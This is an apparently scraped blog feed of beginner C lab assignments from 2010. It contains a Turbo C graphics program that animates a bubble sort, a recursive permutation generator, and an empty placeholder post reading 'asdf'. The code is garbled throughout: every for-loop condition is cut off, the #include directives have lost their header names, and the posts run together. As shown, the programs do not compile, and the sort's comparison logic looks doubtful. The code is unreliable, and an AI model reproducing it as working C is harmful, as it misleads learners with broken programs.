scanf("%d",&n); for(i=0;i { printf("Enter the %d Element : ",i+1); scanf("%d",&el[i]); } initgraph(&d,&m,""); settextstyle(3,0,1); outtextxy(250,50,"GIVEN NUMBERS ");// outtextxy(250,260," AFTER SORTING ");// line(0,getmaxy()/2,getmaxx(),getmaxy()/2); for(i=0;i { object(100+i*50,150,el[i]); getch(); } bubble(n);/* for(i=0;i { object(100+i*50,350,el[i]); getch(); }*/ getch();}void bubble(int n){ int i,j,temp;
for(i=0;i for(j=i;j if(el[i]>el[j+1]) { flow(i,j+1); temp=el[i]; el[i]=el[j+1]; el[j+1]=temp; }}void object(int x,int y,int no){ char s[8]; sprintf(s,"%d",no);
circle(x,y,15); settextstyle(2,0,6); outtextxy(x-3,y-10,s);}void flow(int f,int s){ int i; for(i=0;i<50;i++) { setcolor(WHITE); object(100+f*50,150+i*4,el[f]); delay(15); setcolor(0); object(100+f*50,150+i*4,el[f]); } setcolor(WHITE); object(100+f*50,150+i*4,el[f]); for(i=0;i<50;i++) { setcolor(WHITE); object(100+s*50,150+i*4,el[s]); delay(10); setcolor(0); object(100+s*50,150+i*4,el[s]); } setcolor(WHITE); object(100+s*50,150+i*4,el[s]); mixing(f,s); for(i=50;i>0;i--) { setcolor(WHITE); object(100+f*50,150+i*4,el[s]); delay(10); setcolor(0); object(100+f*50,150+i*4,el[s]); } setcolor(WHITE); object(100+f*50,150+i*4,el[s]); for(i=50;i>0;i--) { setcolor(WHITE); object(100+s*50,150+i*4,el[f]);
delay(15); setcolor(0); object(100+s*50,150+i*4,el[f]); } setcolor(WHITE); object(100+s*50,150+i*4,el[f]);}void mixing(int f,int s){ int i; for(i=0;i<(s-f)*50;i++) { setcolor(WHITE); object(100+f*50+i,350,el[f]); object(100+s*50-i,350,el[s]); delay(20); setcolor(0); object(100+f*50+i,350,el[f]); object(100+s*50-i,350,el[s]); } setcolor(WHITE); object(100+f*50+i,350,el[f]); object(100+s*50-i,350,el[s]);}
Beginners C Programming Lab Assignments1(Write a program to find permutation)Posted: 13 Jan 2010 02:42 AM PSTWrite a program to find permutation
#include#includeint lev=-1,n,val[50],a[50];void main(){ int i,j; clrscr(); printf("Enter howmany numbers");
scanf("%d",&n); for(i=0;i { val[i]=0; j=i+1; scanf("%d",&a[j]); } visit(0); getch();}visit(int k){ int i; val[k]=++lev; if(lev==n) { for(i=0;i printf("%2d",a[val[i]]); printf(" "); } for(i=0;i if(val[i]==0) visit(i); lev--; val[k]=0;}
asdfPosted: 13 Jan 2010 01:35 AM PST
asdf